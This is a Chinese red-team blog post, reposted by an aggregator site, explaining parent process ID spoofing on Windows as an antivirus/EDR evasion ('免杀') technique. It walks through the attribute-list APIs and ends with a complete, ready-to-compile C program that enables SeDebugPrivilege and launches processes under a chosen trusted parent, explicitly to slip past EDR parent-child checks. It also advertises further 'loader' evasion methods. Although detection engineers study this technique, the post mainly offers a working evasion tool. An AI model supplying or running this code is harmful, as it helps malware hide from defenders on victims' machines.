文章总结: 文章详解利用WindowsAPI合法指定新进程父进程的免杀思路:通过InitializeProcThreadAttributeList与UpdateProcThreadAttribute把PROC_THREAD_ATTRIBUTE_PARENT_PROCESS设为任意进程句柄,再调用CreateProcessA传入扩展STARTUPINFOEXA,实现把notepad等进程的父进程伪装成NVIDIA等可信进程,附完整C代码可直接编译运行,可绕过部分EDR父子链检测。 综合评分: 84 文章分类: 免杀,红队,终端安全,漏洞POC,WEB安全
免杀技术-自选父进程
原创
小和安全
小和安全
2026年1月7日 14:10 江苏
代码已经放到文末,可以直接编译运行,更多免杀和对抗方法公众号后台回复loader获取。
前言
我们双击运行一个程序时,父进程显示为explorer.exe
大多数情况下这是可信的,看起来就是用户自己打开了记事本之类的程序。
本文主要介绍一种利用Windows api合法创建进程,并指定它的父进程的方法,最终实现的效果就是我们可以指定任意进程作为父进程,当然权限不能超,比如用户权限执行程序就只能指定权限为用户权限的父进程,而不能执行SYSTEM权限的,效果如下,notepad进程的父进程变为了NVIDIA:
思路解析:
我根据调用的Windows api划分为几个步骤分别解析:
(1)CreateProcessA函数:
查看一下官方文档,关注到里面有一个属性叫lpStartupInfo:
找到对应的定义,发现这个参数可以传一个指针,指向STARTUPINFO或STARTUPINFOEXA结构体:
(2)STARTUPINFOEXA结构体:
我们在官方文档继续看一下STARTUPINFOEXA结构体的定义:
发现有一个lpAttributeList参数:
里面解释说,这个参数是由InitializeProcThreadAttributeList函数创建,那一看名字这个函数就是用来初始化的,我们继续在官方文档搜索相关信息,找到一个UpdateProcThreadAttribute函数,在初始化后可以通过这个函数修改lpAttributeList参数。
(3)UpdateProcThreadAttribute函数:
官方文档中的函数签名如下:
其中的两个参数:Attribute和lpValue,看名字就知道是一个键值对,那官方文档定义也确实如此:
简单来说,Attribute是一个属性,有很多种定义,对应了很多种情况,而lpValue就是保存这个属性对应的具体的值。
我们只需要关注Attribute=PROC_THREAD_ATTRIBUTE_PARENT_PROCESS的情况,查看官方文档如下:
当Attribute=PROC_THREAD_ATTRIBUTE_PARENT_PROCESS时,我们可以通过lpValue值来指定父进程.
具体实现:
1.通过InitializeProcThreadAttributeList初始化一个Attribute结构体;
2.通过UpdateProcThreadAttribute函数修改Attribute结构体的属性,使得:
Attribute=PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
lpValue=父进程句柄
3.创建一个_STARTUPINFOEXA结构体,将它的lpAttributeList属性设置为Attribute结构体;
4.使用CreateProcessA创建新进程,将_STARTUPINFOEXA结构体作为参数传给它。
这样我们创建的新进程,父进程就可以由我们任意指定了。
最终的效果:
该讲的都讲了,直接上代码:
#include <windows.h>#include <tchar.h>#include <stdio.h>void printErr(LPTSTR pszMessage, DWORD dwLastError){ HLOCAL hlErrorMessage = NULL; if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR) &hlErrorMessage, 0, NULL)) { _tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR) LocalLock(hlErrorMessage)); LocalFree(hlErrorMessage); }}// 封装函数:传入exe路径和父进程pidBOOL CreateProcessWithParent(LPTSTR lpProgramPath, DWORD dwParentPid){ STARTUPINFOEX sie = {sizeof(sie)}; PROCESS_INFORMATION pi; SIZE_T cbAttributeListSize = 0; PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL; HANDLE hParentProcess = NULL; InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize); pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize); if (NULL == pAttributeList) { printErr(TEXT("HeapAlloc error"), GetLastError()); return FALSE; } if (!InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize)) { printErr(TEXT("InitializeProcThreadAttributeList error"), GetLastError()); return FALSE; } //开启当前进程的调试权限👇 HANDLE hToken; TOKEN_PRIVILEGES sTP; if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid)) { CloseHandle(hToken); } sTP.PrivilegeCount = 1; sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL)) { CloseHandle(hToken); } CloseHandle(hToken); } //开启当前进程的调试权限👆 hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwParentPid); if (NULL == hParentProcess) { printErr(TEXT("OpenProcess error"), GetLastError()); return FALSE; } if (!UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) { printErr(TEXT("UpdateProcThreadAttribute error"), GetLastError()); return FALSE; } sie.lpAttributeList = pAttributeList; if (!CreateProcess(NULL, lpProgramPath, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sie.StartupInfo, &pi)) { printErr(TEXT("CreateProcess error"), GetLastError()); return FALSE; } _tprintf(TEXT("进程创建成功,pid: %d\n"), pi.dwProcessId); DeleteProcThreadAttributeList(pAttributeList); CloseHandle(hParentProcess); return TRUE;}int _tmain(int argc, _TCHAR* argv[]){ system("chcp 65001 > nul"); printf("\n"); printf(" ******************************\n"); printf(" * 小和安全 *\n"); printf(" * Xiaohe Security *\n"); printf(" ******************************\n"); printf("\n"); if (argc != 3){ _putts(TEXT("用法: test.exe 要执行的程序路径 指定的父进程pid")); _putts(TEXT("示例: test.exe \"C:/Program Files/Google/Chrome/Application/chrome.exe\" 15700")); } else { DWORD dwPid = _tstoi(argv[2]); if (0 == dwPid) { _putts(TEXT("Invalid pid")); return 0; } // 调用封装好的函数 if (!CreateProcessWithParent(argv[1], dwPid)) { return 1; } } return 0;}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小和安全 小和安全《免杀技术-自选父进程》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论